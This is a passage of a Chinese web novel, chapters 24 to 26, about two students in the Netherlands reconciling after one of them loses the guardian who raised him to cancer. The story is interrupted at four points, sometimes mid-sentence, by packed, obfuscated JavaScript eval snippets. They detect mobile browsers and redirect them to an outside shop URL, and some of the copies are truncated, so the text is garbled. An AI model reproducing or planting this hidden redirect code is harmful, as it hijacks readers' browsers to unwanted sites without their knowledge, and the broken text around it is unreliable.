慕华年皱了皱眉,手指在拨号键上悬停,等了几秒,还是用拇指划掉了页面。 或许是觉得没意思了。他嘴角扯出个笑,将手里的包装袋丢到垃圾桶,转身回到教室,完成中期最后一项考核。 今年的十二月,好像格外冷。 庄迭坐在实验室外面的长椅上,不自觉裹紧大衣。他关掉手机屏幕,呆呆地望着眼前光秃秃的树,他觉得自己或许也应该去买一件羽绒服。 “走吧,最后一组代码跑完就能回家洗澡睡觉了。” 路远舟搂住他肩膀,瞧见他兴致不高,凑过问:“怎么了,气馁了?” “好几天没联系了。” “嗯?”路远舟坐直身子,不可思议地看着他,“这不像你啊,知难而退了?” 庄迭没有解释,起身插着兜默默走回实验室。路远舟盯着他背影看了会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111619|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给慕华年发了条短信:“你彻底拒绝他了?我们家小子快寻死觅活啦。” 慕华年看到消息的时候是晚上九点。 小组pre很顺利,但他被老师留下做写作分享。那篇在杂念丛生中诞生的文稿被他拆解成四个部分,他一点一点揉碎了讲给其他人。 临走时有人想加他联系方式,慕华年笑着拒绝,说自己明年回国后可能不用这个号码了。 “嗯?”他回复路远舟。 路远舟回到实验室坐在庄迭旁边,小心打量着身边黑脸的人,“不是因为你?” “他怎么了?” “那没事了,回见吧。” 路远舟故意的。 自从知道庄迭对慕华年有意思,他就自封为庄迭的感情军师。借着上次酒吧确认庄迭安全为由要来的联系方式,开始做两个人的传声筒。 路远舟其实从一开始就看得出庄迭的小心思。那句“你看上了”,不过是借他打掩护。 庄迭这个人吧,要说复杂是真能端得住,可要说单纯,有时候确实像个孩子。 路远舟没见过庄迭对谁这么上心过。 给慕华年发完消息,路远舟若无其事地继续写数据。期间庄迭出去了一趟,没带手机,回来的时候端着两杯咖啡。 “再熬一会儿,彻底弄完算了。” “今天还是不去酒吧?” “不去,最近都不去。” 路远舟那条语焉不详的信息让慕华年在学校走廊站了很久。 他扪心自问他真的尽力了,尽力保持体面,保持距离,维持一个朋友该有的样子,没有主动打扰,没有过度热情,没有任何逾矩的行为——如果那晚抱庄迭去床上不算的话。 所以是因为那个动作? 慕华年皱了皱眉头,可那天之后他们还正常聊了半个月,庄迭没有任何异常。 想不通,他索性不想了,拨通了庄迭的电话。 “嗯,怎么了?” 庄迭语气淡淡的,他拿着手机走出实验室,路远舟伸着头要听,被他一把按回去。 “最近还好吗?” “忙。” 慕华年顿了顿,他确实不太会和人聊天。 “有事吗?”庄迭主动问。 “最近没联系,没去酒吧,是因为那天晚上我的行为吗?如果是,我道歉。” “都过去这么久了,现在道歉啊?” 慕华年又不知道该说什么了。对面听到了他的沉默,继续说:“那你为什么抱我啊?” 两个人的沉默在电话两端如此时悄无声息的雪夜。 慕华年发现每次只要他和庄迭说这些话,老天总是要降一场雪,就好像要把两个人没说出来的话就此尘封。 “抱歉,以后不会了。我说到做到,是朋友就是朋友。” “慕华年,”电话那头顿了顿,“我不想和你做朋友。就到这吧。” 电话里出来嘟嘟声。慕华年握着手机很久没动。 雪,还在下,明天他还会因为一夜的积雪开心吗? 犹豫了一下,慕华年从删除联系人的页面退出来,转身离开了学校。 24. 第 24 章 原来一个人突然退出自己的世界,是这种感觉。 圣诞节的荷兰节日氛围很浓,学校放了假,街上做了装饰。李家杰提前一天和郑荷宜飞去了巴黎,平安夜当天在塞纳河边和慕华年吐槽原来新闻里说的都是真的。慕华年陪着他笑,又和他聊了一会儿,挂了电话,重新窝回自己的小沙发。 今早房东来的时候慕华年难得没有早起,听到敲门时他警惕地问了一句,门外传来房东太太不太流利的中文:“圣诞快乐。”。 房东是一个五十多岁的阿姨,比利时人,年轻的时候跟着去比利时做生意的丈夫来了荷兰,然后就在这里住下了,一辈子没有生儿育女。 慕华年当初来看房时,她就特别热情。租金水电虽说没优惠,但里里外外帮他收拾得干干净净,今年国内过中秋的时候还给慕华年送了她自己做的月饼。 “慕,我和Joey要回比利时看我父母,临走前给你送些吃的。” 说完不等慕华年道谢,房东已经自在地进了房子,慕华年跟在她身后有些无措,看着她把冰箱塞得满满当当,里面居然还有半只火鸡。 “你不出门的话,这些东西够你过一个美味的圣诞了。” 慕华年被逗笑了,道了谢,从窗台的花盆里折了支花递给她。 “我刚来荷兰时买的种子,前两天屋子里暖气足,花开得早。祝您节日快乐。” “真是个美妙的人儿。” 房东说话带着译制片的腔调,或许是因为她以前在剧院工作过。慕华年挺喜欢和她聊天。 “不过圣诞节你或许可以邀请朋友来家里坐坐?”房东环顾四周,瞧见了那台电暖器,“比如这个在冬天给你送来温暖的人?” “您怎么知道电暖器不是我自己买的?” 慕华年嘴角带着笑意。房东太太摆弄着手里的花,努嘴比划着,“除了这台电暖器,房间和我刚租给你时一模一样。慕,你不会照顾自己。” 慕华年笑了一下,倒也没有反驳。送房东太太下楼时,听见她抱怨:“今年的雪太多啦。” 慕华年抬头,看到天上又扑扑簌簌下起白雪。他来的时候听说荷兰冬季多雨,没想到今年气候异常,下的都是这种存不住的雪花。 刚要转身上楼时,他突然站住脚,瞥见对面中餐厅里有个熟悉的身影。他不确定对方看没看见他,但他看得很清楚——那是庄迭。 慕华年没想到庄迭的圣诞也是一个人过。 他坐在靠窗的位置,好像点了盘饺子,可饺子上来后半天也没动,就一个人盯着碗发呆,低着头不知道在想什么。 慕华年看了一会儿,转身上楼。 那天之后,慕华年没有再联系过庄迭,庄迭也没有再给他发过任何消息。 慕华年没再更进一步解释那个拥抱的起因,因为再多说一句就收不了场了。他责怪自己的失控,并下定决心冷处理这段关系,索性庄迭好像也并不在意。 但庄迭的朋友圈整整一个月没更新,这不太对劲。 慕华年的朋友圈是关闭的,他只是会偶尔点开特定几个人的主页点赞,而他点进庄迭的首页时,只看到“仅显示最近三天的朋友圈”,下面则是一片空白。 可慕华年没有立场去问。庄迭说了,不想和他做朋友。 慕华年回过神后开始给家里做大扫除,毕竟做卫生最能消磨时间。忙活了半天外面基本黑透了,他拿出冰箱里那半只火鸡,用烤箱复烤了一遍,在等着食物加热的同时又下了一趟楼,去扔垃圾。 对面的中餐厅打烊了,老板应该也去过节了。 慕华年瞥了眼紧闭的大门,重新上楼,罕见地打开了朋友圈的设置。 那一夜的朋友圈很热闹,本科同学留在大城市的都在过节,回到小城市的一边抱怨加班一边点外卖犒劳自己,为数不多的几个LLM的朋友,世界各地在玩。 好像只有庄迭和他是静默的。 慕华年把烤鸡拿出来,随手又关掉了朋友圈。 两周假期,新拆了几本小说,等书看完,就该回去上课了。慕华年在心里安排好计划,他一个人的时候休息日基本都是这么过的。 只是过去的这两个月,总有个叫庄迭的人来逗他。 慕华年没想到的是,这样的日子他又过了一个月。 在忙得脚不沾地的考试月里,他还是每天坚持去酒吧。收拾吧台时,总会下意识看向庄迭坐过的位置。当然,那里从没人来过。 慕华年将这一切归咎于那晚他读的那句话,他的确在实践书里的蠢行。 路远舟的电话打过来的时候,慕华年正在收拾最后一位客人喝完的酒杯。他看了眼屏幕上的名字,犹豫了一下还是接了,打开了免提。 “庄迭和你在一起吗?” 对方语气很急。慕华年手上的动作一怔,把电话拿起来,说:“出什么事了?” “一句两句说不清,你要是有空帮我找找,我联系不上他。” “他最有可能去哪?” “赛车场、实验室、图书馆、酒吧……我不知道了。” 电话挂了,最后甚至有些哭腔。 慕华年握着手机,指尖还在滴水,他看了看停留在两个月前的通话记录,最后还是打了过去。 “您拨打的用户暂时无法接通。” 慕华年皱着眉又打了一遍,还是同样的结果。他试着给庄迭发微信,却发现对面先他一步删除了好友。 竟然还有些好笑。慕华年冷笑了一声,把手机放下不再理会,转身继续去码酒杯。等一切收拾妥当,他拿起椅背上的外套,锁好酒吧的门后离开。 自从那天在中餐厅远远见了一面之后,慕华年再也没有见过庄迭,现如今总算知道为什么没消息了。 慕华年重新戴上耳机,温柔的男声在唱“花在风中摇来摇去摇来摇去,我对你想来想去想到半暝,希望月光带你回到我身边……”。 走了几步,慕华年还是停了下来。他第一次在荷兰打车,去了路远舟说的那几个地方。 他们相遇的那个赛车场,没比赛时不对外开放。慕华年晃悠了好几圈,连个人影都没有。 去庄迭学校的路上,他又给庄迭打了个电话,还是无法接通。 也是这时慕华年发现,除了酒吧、学校、路远舟和赛车,他对庄迭一无所知。 那个曾将所有权限向他开放的人删了他的好友,于是他们轻而易举失去了所有联系。 慕华年下了车多付了一倍小费,让司机再等一会。他低着头往实验室走,步子越来越快,耳机里开始唱:“爱像是一场小雨淅沥沥淅沥沥,滴入我回忆,爱又像一场旅行走停停走停停,忽然遇见你,停下了足迹……” 实验室一片漆黑。 慕华年这才反应过来,如果庄迭在实验室,路远舟不会给他打电话。 他笑了一声,在空旷的楼道有些凄凉。慕华年不太懂自己现在在做什么,可从未有过的心慌擒住了他的呼吸。 重新上车,慕华年让司机往回开。路过酒吧时他让司机放慢速度,那里还是没有人。 “就停这儿吧。” 慕华年站在公寓楼下,此时已是凌晨三点。他一步一步往上去,楼道的灯不知道什么时候让人修好了,亮得让他睁不开眼。 庄迭就坐在台阶上。 慕华年的步子停了,他在楼道的转角站着,台阶上的人听见动静,抬起头看他。 他哭过,眼睛红得厉害,就连鼻子都染着粉红。 慕华年心头有一丝抽动,插在口袋里的手不自觉地握紧。 “等了多久?” “慕华年。” 这声“慕华年”好像打在名字所有者的心上,终究让他又迈了一步。 慕华年蹲下身,尽量和庄迭平视。几秒后,他抱住了庄迭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111620|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“在呢。” “我发现……我找不到回家的路了……走着走着就到你家门口了……我回不去了。” 怀里的人又开始哭,他哭得时候肩膀颤抖着,整个脑袋埋在慕华年的肩窝处。很快,慕华年就感觉到了湿润与温热。 “我送你回去。” 庄迭摇头,却依旧靠着慕华年的肩膀,他什么力气都没有了。 “吃了吗?” 庄迭又一次摇头。慕华年搭在他背上的手顿了顿,顺着他的脊梁一下一下轻轻抚着,“饿吗?我昨天买了菜,你想吃什么都有。” 庄迭却哭得更加厉害,他撑着一口气坐直,整个人还在发抖。慕华年不知怎的也被染红了眼角,他静静跪着,等庄迭开口。 “你会做蛋炒饭吗?” 慕华年点头,扶着庄迭起来,让他靠着墙站一会儿。可就在他开门的片刻,庄迭向后摔倒了。 很响的一声,膝盖磕在台阶上,一瞬间钻心的痛让他咬住下唇,很快嘴角就尝到了血腥味。 “这就是报应吗?”庄迭笑着说。 慕华年开门的手握紧钥匙,“别胡说。” 庄迭不再说话,像滩烂泥一样坐在原地,倒也不是有多疼,他已经感受不到太多疼痛了。 慕华年开了门,扶起庄迭,走了两步,索性蹲下身。庄迭也不扭捏,搂住他的脖子趴在他背上。 他好像又轻了。慕华年有很多问题就在嘴边,可是他什么也没问。 “坐着等会儿,暖气要吹一阵才能热。我去拿药箱。” 慕华年把庄迭放在沙发上,找了个靠枕垫在他的腰后。起身找药时,顺便给路远舟回了电话。 电话那头的人听到人找到了,松了口气,可本来还想说什么,最后只叹了一口气,对着慕华年说了一声“麻烦了”。 慕华年又回头去看沙发上的人,两个月没见,庄迭像死过一回,了无生机。 “可能有点疼,我这只有消毒水和创可贴,明天得去医院。” 慕华年又一次纵容了庄迭。他知道今天的庄迭无论如何也不会离开这。 刚才他的外套贴着慕华年的时候,一片冰凉,他等了很久。 慕华年小心翼翼地把庄迭的裤腿挽起来,那条口子不深,但是裤子上渗了血。他拿棉签沾着碘伏一点点消毒,庄迭一声不吭,额角却冒了汗。 “裤子脏了,我有新的,换吗?” 庄迭呆呆坐着,好像还没意识到自己在哪。慕华年叹了口气起身去翻衣柜,拿了条新卫裤递过去。庄迭接过来,没有犹豫地脱掉了自己的裤子。 慕华年咳了一声,转身进了厨房。其实也没什么大不了的,那天他抱庄迭的时候,对方就有反应了。他在装睡,慕华年知道。 可就是这样一个人,果断地删了他的联系方式。 慕华年舀了碗米,选了快速模式,刻意少放了点水,然后转身去拿鸡蛋,侧过脑袋看到了坐在沙发上的庄迭。 客厅没开灯,隐约只能借着厨房的灯看到一个人形。 慕华年加快了手上的动作,蛋炒饭对他来说不难,他高中的时候就会做。 鸡蛋下锅时他加了一点黑胡椒,炒出来放在一边备用,然后是胡萝卜、榨菜、玉米粒、青豆、火腿肠,他把能加的都放了一点。 说实话,背起庄迭的那个瞬间他心疼得要命。 很快,两碗饭端到庄迭面前。这次慕华年给庄迭多盛了一点,金黄的米粒,丰富的蔬菜,只是闻起来就很有食欲。 庄迭靠过去端起碗,一句话也不说,吃着吃着又开始哭。 此时的窗外已经依稀能见到晨光,慕华年盘腿坐在庄迭脚边,身边的人吃饭和哭的时候都很安静,他能感觉到靠着自己的小腿在抖。 “慕华年,”庄迭声音发颤,几乎快喘不上气。慕华年侧头看他,眼神极其温柔,“张叔走了……我彻底没家了。” 25. 第 25 章 慕华年手里的筷子松了一下,砸在碗边“叮”的一声。他微微皱眉看着庄迭,轻声问:“人还在医院吗?” “早上送去殡仪馆了,”庄迭继续低头吃饭,每一口都咽得艰难,“我下午的时候去看了墓地。他说他不回国了,反正家里也没人,就在荷兰找个地方埋了就行。我知道,他是想让我有个能祭拜的地方。” 庄迭的声音很轻,像随时就要跟着张宪离开一样。事实上从张宪被送到重症病房那天起,他就基本没吃过什么东西。路远舟来看他时实在看不下去,逼着他喝了几口粥,结果没一会儿他又全吐了。 “我知道他总有一天会走,就是没想到这么快。我太习惯依赖他了。” “其实他今年大部分时间都不在家,说想去世界各地走走,”说到这庄迭笑了一声,“如果不是拖着我,他大可以走遍世界的。是他说小孩总得上学,于是就陪我在荷兰待了一年又一年。” “现在想来我十八那年,真的发生了好多事情。可后来我才知道,原来十八岁还能那样过。” 庄迭端着碗的手开始发颤。慕华年放下碗,握住他的手腕,庄迭低头看着他,说:“那天你问我,我在跟谁较劲,我现在能回答你,我在跟我自己较劲。” 那天从慕华年家离开,庄迭以为自己尝到了人生中的一点甜头。他在慕华年家楼下玩了很久的雪,一抬头就能看见窗边坐着的那个人。 这样的日子好得不真实,也正因为太美好,让庄迭生出了越来越多的奢望。回家后,他郑重地告诉张宪,他要和慕华年在一起,一辈子在一起。 张宪当时没说话,晚上摸到庄迭的卧室,和他聊了很久。张宪让他想好了就去做,千万不要留下遗憾。 十天后,国内各大媒体都在报道庄氏集团进军人工智能的消息。照片上的庄均存笑容慈祥,他身边站着十八岁的庄逸。 “人工智能是大势所趋,未来注定是他们的。” 发布会后庄均存接受记者采访,表示等庄逸大学毕业后会创办一家公司交给他管理,这是他作为父亲给庄逸的成人礼。 彼时的的庄迭正坐在医院里,听着耳机里的采访,在消防通道里呆坐了很久。 他的十八岁,也收到了特别的生日礼物——一份病历,和一封关于霍玲的信。 原来霍玲是在庄迭十三岁的时候就去世的,车祸,一瞬间就没了命。 那时她还在花庄均存给的钱,那笔钱的数目大到霍玲不敢相信,收到转账时她甚至觉得不真实。 “你们有钱人家的孩子就是值钱。” 这是霍玲对庄均存说过的最后一句话,然后她就离开了庄家,离开了江城,离开了庄迭的视线。 霍玲在南海的小渔村出生,在那活了十六年,初中毕业一个人跑到了江城。她删掉了家里人的信息,将名字从霍三女改成了霍玲,然后她就遇到了当时刚赚了第一桶金的庄均存。 庄均存有家室,有女儿,霍玲不在乎。她不要名分,她就要钱,她等的就是拿到钱的这一刻。 霍玲把庄均存当作逃离原来生活的浮木,却没想到抓住这块浮木后,自己还是沉没了。 连带着一起沉没的,还有在所有人唾骂声中长大的庄迭。 在知道了霍玲的一切后,庄迭不知道自己该产生什么样的情绪。 该恨吗?还是责怪?可他恨不起来。 他已经不记得霍玲的样子了。 霍玲走的时候没有留下照片,而庄迭六岁的记忆模糊成了一块沾了血的毛玻璃。 也是那一天,张宪第一次住院,胰腺癌中期。 还是那一天,是庄迭的十八岁生日。 他帮张宪办好住院手续,拿了张宪一根烟。他知道自己不该奢望寻常人家的温情,可十八岁的他,一个人在医院外点燃了那根烟,借着烟火,许了一个生日愿望——希望张宪好好的。 这样他就不算一个人,他还有家。 那个暑假,是庄迭高中毕业的暑假。别人在旅行、恋爱,庄迭却频繁出入医院。张宪让他和朋友去玩,说他守着病也好不了。 张宪就是这样的人。他觉得战场上那颗子弹没有要他的命,从此他活的每一天都是上天的馈赠,他坦然受之。 庄迭是他带大的,当然也和他一样固执。那段时间庄迭几乎不说话,除了路远舟来陪他吃饭时会逗他笑。拿到高考成绩后,他毫不犹豫报了医学院,张宪为此发了火。 庄迭从小就喜欢车,各种车。张宪给他买了一个又一个车模,后来还托朋友带他去车企实习。十六岁的庄迭已经能完成车辆的基本质检了。 “我能治。” “你能个屁!胰腺癌这玩意儿治不了。” 庄迭执拗地站在张宪床边,张宪拍了他一巴掌,让路远舟帮他把专业改成车辆制造。路远舟原本要学金融,后来也跟着庄迭学了车辆制造。 从那时起,张宪的病就是他们闭口不谈的隐疾。可胰腺癌这病疼起来要命,张宪这个挨过子弹的人也疼哭过。疼得受不了时他想过死,可听到庄迭在门口叫他吃饭,他便又选择再活一天。 他们俩就这样过了五年,张宪笑着说他也养出来了一个研究生。 可随着十八岁的庄逸熠熠生辉的那条新闻报道一起来的,是张宪的病急转直下,癌细胞几乎同时侵入他的各个器官。 庄迭也没想到,那句“晚安”是他对慕华年说的最后一句话。可是他没时间想了。 之后的这一个月,张宪一次次化疗,直到最后医生说没有意义了,让他保守治疗。张宪那时候已经瘦得没有人样了,他靠在病床上招呼庄迭过去,往他手里塞了张卡。 “以后得自己管钱了,留点心。” 庄迭抓着他的手不放,张宪就用手心包着庄迭的手指,他的手热热的,显得庄迭冷得异常。 “五年了,老天对我够好的了。我没什么放不下的,除了你。” 庄迭别过脸,张宪却伸手捧着他的脸,“哭呗,这时候不哭,我走了都听不到你哭了。” 那天病房里的哭声听得让人心疼,路过的护士也没有进来打断他。庄迭这辈子就哭过这么一回。 那天中午,他出去给张宪买饭,走着走着就到了慕华年家楼下。 那盘饺子他还是没吃下去,他重新点了一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“庄迭,”慕华年扶住庄迭的肩膀,让他看着自己,“不要因为任何人的选择背上不属于你的责任,就算那个人是你妈妈。” 庄迭嘴唇动了动,想要说什么,最后却只是轻轻点头,说了声“好”。 “以后没了张叔在中间,你还要继续和你父亲联系吗?” “你觉得呢?” 慕华年摇了摇头,“我没办法替你做决定,我自己处理家庭关系也是一团糟。” 庄迭仰头看着慕华年,慕华年却移开了视线。 庄迭没有继续往下问,他重新把头靠进慕华年怀里,“明天陪我去安葬张叔,行吗?” 我想让他见见你。 庄迭终究还是没说出来。即使今晚的慕华年温柔得像无论他说什么都会答应的样子,可庄迭不想这样。 他想要一份爱,而不是一份怜悯。 “好。” 26. 第 26 章 依旧是庄迭躺在床上,慕华年蜷在那个小小的沙发里,不过这一夜睡不着的不再是慕华年一个人。 慕华年今晚难得没戴耳机,他怕庄迭会叫他,他还是有点担心庄迭的膝盖。虽然刚才换裤子的时候,庄迭的动作并没有受到任何影响。 这一晚上的信息量有点大,慕华年闭着眼一条一条捋顺,最后也察觉出了庄迭的欲言又止。 他侧过身,看着小台灯下闭着眼假寐的人。庄迭的胸口平静起伏着,头发乖顺地盖在眼睛上,身上穿着慕华年洗干净的睡衣。 一整晚漫无目的地寻找,一整晚沉默地陪伴。慕华年明白自己在做什么,也明白自己为什么这么做。 终究还是喜欢的。是很喜欢。 慕华年过去二十三年循规蹈矩、波澜不惊的人生,在遇到庄迭的那天掀起一阵海啸。 他以为自己会厌恶,会逃跑,可当浪潮拍来时,慕华年感到前所未有的兴奋。 劈头盖脸的爱意,意料之外的惊喜,庄迭像是关掉了慕华年的导航,开始带着他在无趣的人生中逃亡。 这感觉,真爽。 “睡了吗,慕华年?” 床上的人小声试探,慕华年没有回应。庄迭侧过身看了他一眼,慕华年闭着眼像是睡着了一样。 庄迭很少有像今夜这般失眠的情况,他手脚冰凉,大脑一片空白,不过好歹胃里有了蛋炒饭的温度。他盯着慕华年看了一会儿,怕起来会吵醒他,就攥着被子斜靠在床头,拿起上次写便签时放在床头的笔,画了一晚上画。 他其实不太敢回家,所以才兜兜转转只能来这里。 庄迭不知道明天过后他要去哪儿,可至少此时的被窝是温暖的,月光是温柔的,慕华年是在眼前的。 第二天一早,慕华年起来给庄迭热了一杯牛奶,用吐司和鸡蛋做了简易三明治。庄迭不太能吃下去,却也还是把自己那份都吃完了。 出门时慕华年跟在庄迭后面。两人都出去后,慕华年从门口柜子里拿了把钥匙,“备用钥匙,放你那儿吧。” 他没再多说。庄迭握着钥匙,看着下楼的人的背影,嘴边的话几乎要脱口而出。 “慕华年。” 慕华年回头看他。 “你一定要好好的。” 这是庄迭今年的生日愿望,他提前用了。因为他不知道生日那天他会不会和慕华年在一起。 两人一起上车,庄迭把钥匙串在钥匙链上。链子上还有个小挂件,打开是他和张宪的合照。 这一路有多沉默,沉默到庄迭一直在数自己的心跳。 墓园是他一家一家实际去过后选出来的,在一条小河边,人不多,花草却多,他觉得张宪会喜欢。 停好车,庄迭带慕华年从小路走进去。那已经站着三两个人,庄迭过去鞠躬问好,慕华年和佐伊打了声招呼,站到了路远舟旁边。 “在哪儿找到的?” “我家门口。” 路远舟扭头看了慕华年一眼,又转回去看庄迭。眼前的人若无其事的跟着牧师一步一步做仪式,小声祷告,最后看着那个小小的盒子被放进方方正正的墓穴,然后用土层掩埋。 墓碑上的有一张张宪的照片,慕华年第一次真切地看到这个刚五十三岁的男人。 或许是一起生活久了,庄迭的神情和张宪竟然真的有些相似。 生者,养者,从来也没有孰轻孰重。 庄迭俯下身,平视着照片上的人,用只有他能听到的声音小声说:“张叔,你怎么就不是我爸爸呢?”说完后退了一步,跪在地上磕了一个头。 欧洲人不兴这一套,但庄迭觉得张宪值得他这一跪。他的额头紧贴着那片土壤,试图能感知到一点点张宪的气息。 他们离开的时候,又下雪了。 庄迭转头去看,雪覆盖在那块新土上,落在黑色的墓碑上,落在了他最后一个少年时。 “去我家吃饭吧。” 庄迭明白路远舟的好意,却还是拒绝了他,他推说自己累了,转身上车。路远舟上车前看了慕华年一眼,后者微微朝他点头,跟上了庄迭。 车里暖气还开着,温热的风对着两个人吹。庄迭坐在驾驶座上一动不动,慕华年就陪他坐着,转头看眼前的墓园,想象着昨天的庄迭在这里站了多久才做决定。 “怎么样,”庄迭笑着说,“从家走只要半小时,我能常来坐坐。” “他也能常回家看看。” 庄迭侧头看慕华年,问:“你不会怕吗?” “怕什么?” “死去的人。或者小说里那些所谓的鬼?” 慕华年嘴角溢出一抹笑,摇头道:“他都成鬼了,我怕他做什么?” “再说了,人和鬼谁又能分得清呢。” 庄迭盯着他看了很久,没说话。 “想回家吗?” 太阳出来了,雪停了。慕华年问。庄迭却没有答。 慕华年知道他心里在想什么。 “我公寓太小,就一张双人床,不过也能凑合。你要是怕……” “我不怕。” 慕华年笑着摇头,“我还没说怕什么呢。” “我什么都不怕。” “那怎么不敢回家?” 或许是慕华年的目光太温柔,庄迭以为自己看到了太阳,于是流了泪。 “你要是怕不方便,我周末去买张折叠床。或者,我陪你回家住几天。” “那就回家。” 上一次是站在房子外面,这次是来了里面。 庄迭带着慕华年逛了一圈,别墅的内饰比外观单调很多,但主人品味不俗,家具看起来都是手工的,价格不贵,质感却很细腻。 别墅有上下两层,庄迭随手推开几扇门,大多房间空着,放着他的玩具和书。 “张叔本来想买个小公寓,是老庄直接安排我们住这的。” 庄迭提到庄均存,语气平淡。 张宪去世的那个晚上庄迭给庄均存打了一个电话,这次对面接了。 “嗯,怎么了?” “张叔走了。” 对面沉默了很久,再开口时嗓子哑了。庄迭听见关门声,知道庄均存进了书房。 “我派人接回来,把他埋到老家。” “他说就葬在荷兰。” 庄均存顿了顿,声音轻了些,“庄迭,你自己可以吗?” 庄迭笑了,挂掉电话。 这句话该问九岁的他,那个在飞机上留了一路眼泪的他。现在的庄迭,没什么不可以的了。 “房子还是有些大了,”庄迭带着慕华年又回到一楼,然后走过去推开了后院的门,“但是我喜欢这个小花园,所以我们就留下了。” 玻璃门打开,扑面而来的冷气。慕华年看到庄迭的手紧紧握着门把手,冷白色的手指在长袖遮掩下变得粉红,他走过去,像是不经意般用肩膀靠在身边的人的蝴蝶骨上。 庄迭回过神,低头笑了一声。他把温室系统打开,天顶开始起水雾,慢慢有热气蒸腾着向四周扩散。他又弯下腰看着脚边已经枯死的花,用手有些执拗地试图把它扶起来,一次不行,就一次又一次。 庄迭养东西很有天赋,小时候他收养过流浪狗,养了一个月就变得白白胖胖,可惜后来还是死了。 他见不得有生命的东西活得不好,在他眼里命是很珍贵的。 可张宪住院后他就没有再回过家,他悉心养了一年的花本来也该在这个圣诞节盛开,再被他精心包装后作为又一次表白的诚意。 现在表白没说出口,花死了,人走了。 “等会儿去花市买种子,我陪你种。” 庄迭侧过头看慕华年,慕华年已经自觉拿起堆在墙角的小铲子,不过他看向庄迭的时候有些不知所措:“但是我不会,你得教我。” 慕华年真的是个好学生,庄迭第一次直观感觉到他的聪明。 这四四方方的小花园,慕华年主动揽下来一多半的活儿,庄迭一边讲解怎么清根、松土,他一边点头照做,一点错都挑不出来。 不过或许是温室不透气,慕华年没多久就出了汗。庄迭看着他又笑了,说:“一进来就让你干活,显得我别有所图。” “那你还是图点别的吧,”慕华年抬手用卫衣袖子蹭了蹭发际线处的水珠,“我体力一般,干不了不久。” 庄迭突然沉默了,没多久慕华年也停下动作。 估计是热的吧,庄迭替慕华年开脱,眼前的人脸红得像他养的那株月季。 “那什么,我去做饭,你想吃什么?” 慕华年抢先一步拦在门口,庄迭抬头看他,明白了他的意思,不服气地说:“那天回来我也进修了一下,好很多了。” “术业有专攻,你继续收拾花园,我做。” “不行。” 慕华年终究没拗过庄迭,庄迭嘴巴一抿他就没辙了,脚步松动让到一边,却还是不放心,等着庄迭拉开玻璃门的时候补了一句:“真不会的时候就虚心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111622|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请教一下。” “我没问题!” 庄迭头也不回地走向厨房,颇有大干一场的架势。慕华年还戴着手套,双手悬在空中,望着他的背影看了好久,嘴角带笑,转身继续完成剩下的工程。 这个小花园原本并没有这么好,是后来张宪一砖一瓦为庄迭改造成这样的。他自己加装了温室系统和可伸缩的玻璃天顶,连中间那两把竹椅和小茶几都是亲手做的。 庄迭的童年有一大半时间在这里度过,小学的时候画画,初中的时候看书,高中的时候写作业。张宪并不是时刻在他身边,但一日三餐总会陪他吃,从不会让庄迭找不到。 厨房也在一楼,庄迭等着锅里的东西熟透,用筷子轻轻戳了一下,颇为满意地点头,然后去处理冰箱里最后两块牛排。做饭的间隙,他一抬头就能看到慕华年。 其实他还是不习惯,这是第一次回家时,桌上没有现成的饭菜。 庄迭的眼睛被水汽熏热,他瞧着慕华年把最后一盆向日葵拔下来,用铲子将新土铺上去,走到墙角找了一个大袋子,将满地狼藉收拾干净。 做完这一切,他立在门口,可又好像怕进屋子会怕地板踩脏,于是转身回去用浇花的水管把手和胳膊都洗干净,连带着擦洗了一遍手套和工具,最后回到门口时,脱了鞋才踩进来。 “欸。”庄迭刚想开口拦他,因为他进来后没开暖气,地板应该很凉。可慕华年对他的心思一清二楚,他走过去把沾了泥土的鞋放在门口,回头问:“有新拖鞋吗?没有的话,你穿过的也行。” 庄迭手里的汤勺擦着锅边,他顿了一下,笑着指指进门处的小柜子,说:“下面有新的,不过是夏天的那种,有点薄。我的在第一层,也是刚洗过的。” 慕华年点了点头,庄迭看着他拿起最上面那双灰色毛绒拖鞋,拿在手里时还愣了一下。庄迭有些尴尬地解释道:“我容易受凉,手脚都凉,所以冬天的东西都是这种毛茸茸的。你试试呢,真挺暖和的。” 庄迭像热情分享自己心爱玩具的小朋友一样,慕华年背对着他,眉眼一松,露出不自知的笑,他最后还真踩着这双拖鞋来了厨房。 